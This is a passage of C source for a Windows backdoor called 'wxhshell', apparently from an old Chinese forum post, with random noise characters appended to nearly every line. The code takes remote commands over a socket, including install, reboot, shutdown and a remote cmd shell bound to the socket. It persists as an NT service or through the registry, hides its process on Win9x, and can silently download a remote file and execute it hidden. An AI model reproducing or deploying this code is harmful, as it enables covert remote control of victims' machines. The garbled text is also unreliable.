  else { ?7rmwy\  
{jj]K.&  
    switch(cmd[0]) { ;`X`c  
  J>,'P^  
  // 帮助 |U;w!0  
  case '?': { v*vub#wP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D'HL /[@`  
    break;  ` 4s#5g  
  } >=Rd3dgDG  
  // 安装 &-EyM*:u!  
  case 'i': { B`'}&6jr.  
    if(Install()) T>AI0R3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m)tI  
    else 6/p]jN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |q1b8A\  
    break; KDNTnA1c  
    } _*OaiEL+:  
  // 卸载 *@b~f&Lx6  
  case 'r': { hW*^1%1  
    if(Uninstall()) 7v4-hfN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jgi{7J  
    else Z7K!"I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^*$WZMMJ1  
    break; qiwQUm{  
    } 'ugR!o1  
  // 显示 wxhshell 所在路径 BP7<^`i&  
  case 'p': { yKX:Z4I/  
    char svExeFile[MAX_PATH]; vZ1D3ytfG  
    strcpy(svExeFile,"\n\r"); s5_1}KKCs  
      strcat(svExeFile,ExeFile); HnH2u;  
        send(wsh,svExeFile,strlen(svExeFile),0); BMtYM{S6  
    break; QrrZF.  
    } OI;L9\MJc  
  // 重启 (_s!,QUe  
  case 'b': { D 9@<#2-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~@a) E+LsF  
    if(Boot(REBOOT)) W2X+N acD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }[hDg6i  
    else { RN cI]oJ  
    closesocket(wsh); N@%xLJF=N>  
    ExitThread(0);  ^qSf  
    } qB` 0^V  
    break; qqO10~Xc  
    } ]9~#;M%1  
  // 关机 A7I8Z6&  
  case 'd': { 7@e[:>e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U3VsMV*Y  
    if(Boot(SHUTDOWN)) N?`GZ+5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); //4p1^%  
    else { `"bRjC"f]  
    closesocket(wsh); B4M'Er{v  
    ExitThread(0); DI"dY ug#  
    } lN]X2 4t  
    break; +wPvQKVfI  
    } +@<^i?ale  
  // 获取shell 37za^n?SG  
  case 's': { \sXm Mc  
    CmdShell(wsh); fR{WS:Pv  
    closesocket(wsh); ":ws~Zep  
    ExitThread(0); *Kp ^al  
    break; <T=o]M$  
  } sV Z}nq{  
  // 退出  # 8-P  
  case 'x': { % 'L=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KlSY^(kHR  
    CloseIt(wsh); swe8  
    break; 'DB({s  
    } @)M.u3{\  
  // 离开 )9;kzp/  
  case 'q': { 2Xk1A S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YRT}fd>R&  
    closesocket(wsh); sjVl/t`l  
    WSACleanup(); 07HX5 Hd  
    exit(1); =,} !Ns{k  
    break; v2dSC(hRZ  
        } H603L|4  
  } Q=9VuTE  
  } )I0g&e^Tzy  
b "AHw?5F  
  // 提示信息 v*T@ <]f3j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;tIIEc  
} D-;43>yi<  
  } ='l6&3X  
E`Zh\u)  
  return; )="g?E3  
} gs2&0rnOy\  
q=i,'.nS  
// shell模块句柄 h11bK'TIv  
int CmdShell(SOCKET sock) c+ H)1Dfq  
{ n*]x02:LjZ  
STARTUPINFO si; A5 J#x6@  
ZeroMemory(&si,sizeof(si)); :d/:Ga5v!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <i`K%+<WO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #IciNCIrG  
PROCESS_INFORMATION ProcessInfo; Yv|bUZ @  
char cmdline[]="cmd"; _ d"Y6 0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +\]S<T*;  
  return 0; )7BNzj"~  
} i\c^h;wX  
]`+"o[  
// 自身启动模式 { N8rZ[Oo  
int StartFromService(void) U S~JLJI  
{ A UO0  
typedef struct U1@ P/  
{ d`rDEa  
  DWORD ExitStatus; Vt 5XC~jK  
  DWORD PebBaseAddress; m:o$|7r  
  DWORD AffinityMask; dIe 6:s  
  DWORD BasePriority; cVt$#A)  
  ULONG UniqueProcessId; "Mu $3 w  
  ULONG InheritedFromUniqueProcessId; .cn w?EI  
}   PROCESS_BASIC_INFORMATION; E"vi+'(v  
CX@HG)l  
PROCNTQSIP NtQueryInformationProcess; ;Q%19f3,6  
ckkM)|kK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p RfHbPV?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =dJEcC_J  
Mdq'> <ajL  
  HANDLE             hProcess; N_~Wu  
  PROCESS_BASIC_INFORMATION pbi; v,O&UrZ  
4iB)oR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ymh2qGcj]8  
  if(NULL == hInst ) return 0; UHm+5%ZC  
L&F\"q9q71  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wz2)seZY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Lzb [%?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DL/*t.)"et  
>!WBl Sy  
  if (!NtQueryInformationProcess) return 0; kO O~%|1CP  
O#ajoE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0DjBqh$  
  if(!hProcess) return 0; {hp@j#  
S+=@d\S}"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D"><S<C\C  
&rE l  
  CloseHandle(hProcess); X\:(8C;+  
OTbjZ(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {d5ur@G1  
if(hProcess==NULL) return 0;  AHg4kG  
xn#I7]]G  
HMODULE hMod; -)c"cgx.  
char procName[255]; yvnrZ&x :  
unsigned long cbNeeded; C'#)bX{  
]0nC;|]@Lx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H5rNLfw '  
h3 ZL0Fi*  
  CloseHandle(hProcess); z[I/ AORl  
,}$x'8v  
if(strstr(procName,"services")) return 1; // 以服务启动 5Ddyb%  
st^N QL  
  return 0; // 注册表启动 UVi/Be#|  
} 9(\N+  
I;PO$T  
// 主模块 <. ]&FPJ  
int StartWxhshell(LPSTR lpCmdLine) GoGgw]h>x  
{ N1zrfn-VU  
  SOCKET wsl; LWR &(p.%  
BOOL val=TRUE; FKTP0e7=9  
  int port=0; $zH 0$aOx  
  struct sockaddr_in door; 2G*#Czr"  
s%re>)=|  
  if(wscfg.ws_autoins) Install(); *" +cP!  
rb4g<f|  
port=atoi(lpCmdLine); ."g5+xX  
faeyk]u  
if(port<=0) port=wscfg.ws_port; 8&iI+\lCy  
))-M+CA  
  WSADATA data; :re(khZq#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H_^u_ %:e  
`SpS?mWA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   00 ,j neF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'cCj@bZ9X  
  door.sin_family = AF_INET; [WSIC *|;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X"r$,~  
  door.sin_port = htons(port); Nv#, s_hG  
o*S $j Cf?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X Ow^"=Oa[  
closesocket(wsl); MPw7!G(qj  
return 1; 3S21DC@Y  
} xVo)!83+Q  
[Cr~gd+ q  
  if(listen(wsl,2) == INVALID_SOCKET) { 8-#2?=  
closesocket(wsl); *y$ry]  
return 1; E^ti !4{<  
} \?I wR]@y  
  Wxhshell(wsl); \X p"I5  
  WSACleanup(); {N`<e>A]{  
+=xRr?F  
return 0; 69w"$V k  
[wxI X  
} Oc=PJf%D#  
L*Cf&c`8r  
// 以NT服务方式启动 qf{B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &xT~;R^  
{ ZX}"  
DWORD   status = 0; gx.]4 v  
  DWORD   specificError = 0xfffffff; 3Q"+ #Ob  
Tj~#Xc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sm S0Rk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :cz]8~i\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c3BL2>c  
  serviceStatus.dwWin32ExitCode     = 0; NGzqiu"J  
  serviceStatus.dwServiceSpecificExitCode = 0; {iteC  
  serviceStatus.dwCheckPoint       = 0; .OUE'5e p  
  serviceStatus.dwWaitHint       = 0; )eyxAg  
>gl<$LQ?X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t9l7 % +y  
  if (hServiceStatusHandle==0) return; VAzJclB  
i`s pM<iR.  
status = GetLastError(); (pg9cM]NA  
  if (status!=NO_ERROR) =l9#/G#R  
{ CT`X~y10  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }Elce}  
    serviceStatus.dwCheckPoint       = 0; 1#u w^{n  
    serviceStatus.dwWaitHint       = 0; ^!tI+F{n{  
    serviceStatus.dwWin32ExitCode     = status; jzw?V9Ijb  
    serviceStatus.dwServiceSpecificExitCode = specificError; U /Fomu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VG7#6)sQoK  
    return; q,Q|Uvpk  
  } h}_q  
{<n)zLy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N/=3Bs0y-  
  serviceStatus.dwCheckPoint       = 0; e@By@r&nql  
  serviceStatus.dwWaitHint       = 0; %j; cXN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G-<~I#k  
} a^,RbV/  
%tLq&tyeY  
// 处理NT服务事件,比如:启动、停止 Jp0.h8i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jXR+>=_  
{ <rF  
switch(fdwControl) 7mBL#T2   
{ >4b39/BM  
case SERVICE_CONTROL_STOP: *5)!y d  
  serviceStatus.dwWin32ExitCode = 0; ?8/h3xV;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RkM!BcB  
  serviceStatus.dwCheckPoint   = 0; b>WT-.b0  
  serviceStatus.dwWaitHint     = 0; )P])0Y-  
  { {D#`+uw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n5/Q)*e0'#  
  }  (v}:  
  return; YJ$ =`lIM  
case SERVICE_CONTROL_PAUSE: kRPg^Fw"Vw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0rUf'S ?K  
  break; @9a=D<'>  
case SERVICE_CONTROL_CONTINUE: s,x]zG"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eW%jDsC  
  break; $Plk4 o*g  
case SERVICE_CONTROL_INTERROGATE: Tkf !Y?  
  break; yL-L2  
}; X;tk\Ixd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 89bKnsV  
} }fZBP]<I(  
VCO/s9AL  
// 标准应用程序主函数 -%|I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <i-RF-*S  
{ (#qVtN`t  
N%+M+zEJ  
// 获取操作系统版本 <Z;BB)I&C`  
OsIsNt=GetOsVer(); dPId= w)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7(Kc9sJC%%  
%|>i2  
  // 从命令行安装 %#~Wk|8} Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7&1: ]{_  
EK_^#b  
  // 下载执行文件 sP%.o7&n  
if(wscfg.ws_downexe) { aT#|mk=\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0 M?}S~p]  
  WinExec(wscfg.ws_filenam,SW_HIDE); ><~hOK?v  
} ;U&VPIX$  
)3  
if(!OsIsNt) { "5K: "m  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^da-R;o]  
HideProc(); (n\ cs$  
StartWxhshell(lpCmdLine); ";]m]PRAam  
} QTH yH   
else ?%(*bRV -  
  if(StartFromService()) b8&9pLl  
  // 以服务方式启动 6s;x@g]  
  StartServiceCtrlDispatcher(DispatchTable); |(5=4j]  
else <*P1Sd.  
  // 普通方式启动 O/Vue  
  StartWxhshell(lpCmdLine); "/5b3^a  
XJ9>a-{  
return 0; 2Z~o frj  
}
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只看该作者 1 发表于: 2006-10-10
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